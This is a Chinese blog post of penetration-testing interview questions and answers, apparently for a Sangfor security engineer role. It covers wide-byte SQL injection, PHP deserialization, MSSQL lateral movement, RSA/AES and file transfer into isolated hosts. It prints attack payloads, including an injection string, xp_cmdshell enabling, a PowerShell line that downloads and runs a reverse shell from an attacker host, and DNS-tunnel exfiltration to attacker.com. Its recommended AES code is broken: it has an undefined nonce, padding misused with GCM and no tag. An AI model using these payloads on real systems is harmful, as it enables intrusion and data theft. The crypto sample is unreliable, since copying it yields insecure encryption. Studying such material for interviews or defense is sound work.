2025年渗透测试面试题总结-某深信服 -安全工程师(题目+回答)

发布于:2025-03-23 ⋅ 阅读:(26) ⋅ 点赞:(0)

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

 深信服 -安全工程师

一、宽字节注入原理与编码影响

(一)技术原理

(二)编码范围扩展

(三)防御方案

二、PHP反序列化漏洞深度解析

(一)漏洞形成机制

(二)攻击面扩展

(三)防御体系ini

三、MSSQL服务权限横向渗透

(一)权限提升路径

(二)横向移动技术

四、密码学算法核心原理

(一)RSA算法流程

(二)AES算法架构

五、不出网环境文件传输方案

(一)协议隧道技术

(二)存储介质利用

六、防御体系构建建议


 

 深信服 -安全工程师

宽字节注入原理,是否只有gbk编码存在宽字节注入
php反序列化原理
内网一台机器,只有一个mssql的服务账户权限,如何进行后续的利用
ras算法原理/aes算法原理
一台机器不能出网,如何把一个exe文件放到对应的目标机器上去(dmz)

一、宽字节注入原理与编码影响

(一)技术原理

宽字节注入是一种利用数据库字符集转换漏洞的SQL注入技术,核心逻辑在于:

  1. 多字节编码(如GBK)将两个连续字节解析为一个中文字符
  2. 当转义符号'被转义为\'时(0x5c),若前导字节与0x5c组成合法GBK字符(如0xbf5c对应"縗")
  3. 导致单引号逃逸闭合,形成注入点

典型攻击Payload:

sql%bf%27 UNION SELECT 1,version()-- 

此时数据库解析为:

0xbf5c27 → 縗'(0x5c被"吞噬")
(二)编码范围扩展
  1. 主要影响编码
    • GBK系列(GB2312/GB18030)
    • BIG5(繁体中文)
    • Shift-JIS(日文)
    • EUC-KR(韩文)
  2. UTF-8的防御性
    • 采用3-4字节编码机制
    • 严格编码校验机制
    • 0x5c无法与前导字节构成合法字符
(三)防御方案
php// 最佳实践组合 $db->set_charset("utf8mb4"); $stmt = $db->prepare("SELECT * FROM users WHERE id=?"); $stmt->bind_param("i", $input);

二、PHP反序列化漏洞深度解析

(一)漏洞形成机制
phpclass VulnerableClass { private $data; public function __wakeup() { system($this->data); } } // 攻击者构造的序列化数据 $payload = 'O:15:"VulnerableClass":1:{s:4:"data";s:9:"calc.exe";}'; unserialize($payload); // 触发命令执行 

关键触发点

  • __destruct():对象销毁时自动执行
  • __wakeup():反序列化时初始化操作
  • __toString():对象被当作字符串使用时触发
(二)攻击面扩展
  1. POP链构造
    • 通过多个类的属性串联调用链
    • 利用魔术方法跳转执行流程
  2. Phar协议利用
    phpfile_exists("phar://malicious.phar/test.txt"); 
    通过文件操作函数触发phar反序列化
(三)防御体系ini
; php.ini 配置加固 session.serialize_handler = php_serialize disable_functions = system,exec 

三、MSSQL服务权限横向渗透

(一)权限提升路径
  1. 存储过程利用

    sqlEXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'whoami';
  2. CLR组件攻击sql

    CREATE ASSEMBLY ExploitAssembly FROM 0x4D5A9000... WITH PERMISSION_SET = UNSAFE;
(二)横向移动技术
  1. 数据库链路渗透

    sqlSELECT * FROM OPENROWSET('SQLNCLI', 'Server=192.168.1.10;Trusted_Connection=yes;', 'EXEC master..xp_cmdshell ''powershell -c IEX(New-Object Net.WebClient).DownloadString("http://attacker/revshell.ps1")''') 
  2. 凭证提取技术

    • 使用PowerUpSQL提取Linked Server凭据
    • 解密MSSQL保存的自动化任务密码

四、密码学算法核心原理

(一)RSA算法流程
  1. 密钥生成

    n = p*q (p,q为大素数)
    φ(n) = (p-1)(q-1)
    e选择满足1<e<φ(n)且与φ(n)互质 
    d ≡ e⁻¹ mod φ(n)
    
  2. 加密过程

    C ≡ M^e mod n 
    M ≡ C^d mod n 
    
(二)AES算法架构
  1. 轮函数组成

    pythondef Round(state, round_key): SubBytes(state) ShiftRows(state) MixColumns(state) AddRoundKey(state, round_key)
  2. 密钥扩展

    • 使用Rijndael密钥调度算法
    • 每轮生成128/192/256位新密钥

五、不出网环境文件传输方案

(一)协议隧道技术
  1. DNS隧道传输

    powershell# 发送端 $bytes = [System.IO.File]::ReadAllBytes("payload.exe") $b64 = [Convert]::ToBase64String($bytes) foreach ($chunk in ($b64 -split '(\w{63})')){ Resolve-DnsName "$chunk.attacker.com" -Type A } # 接收端 tshark -i eth0 -Y "dns.qry.name contains attacker.com" -T fields -e dns.qry.name 
  2. ICMP封装传输

    bash# 发送端 icmpsh_m.py -t 目标IP -s -d payload.exe # 接收端 icmpsh_r.py -i eth0 
(二)存储介质利用
  1. 数据库BLOB导出

    sqlINSERT INTO temp_table (data) VALUES (0x4D5A9000...) BCP "SELECT data FROM temp_table" queryout "C:\payload.exe" -S localhost -U sa -P password 
  2. Windows备用数据流cmd

    type payload.exe > normal.txt:secret.exe mklink /H loader.exe normal.txt:secret.exe 

六、防御体系构建建议

  1. 纵深防御架构
    • 网络层:VLAN划分+ACL白名单
    • 主机层:Credential Guard+AppLocker
    • 应用层:CSP+输入净化
  2. 加密算法实践
    python# 现代加密建议 from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.primitives import padding def aes_encrypt(key, plaintext): padder = padding.PKCS7(128).padder() cipher = Cipher(algorithms.AES(key), modes.GCM(nonce)) encryptor = cipher.encryptor() return encryptor.update(padder.update(plaintext)) + encryptor.finalize()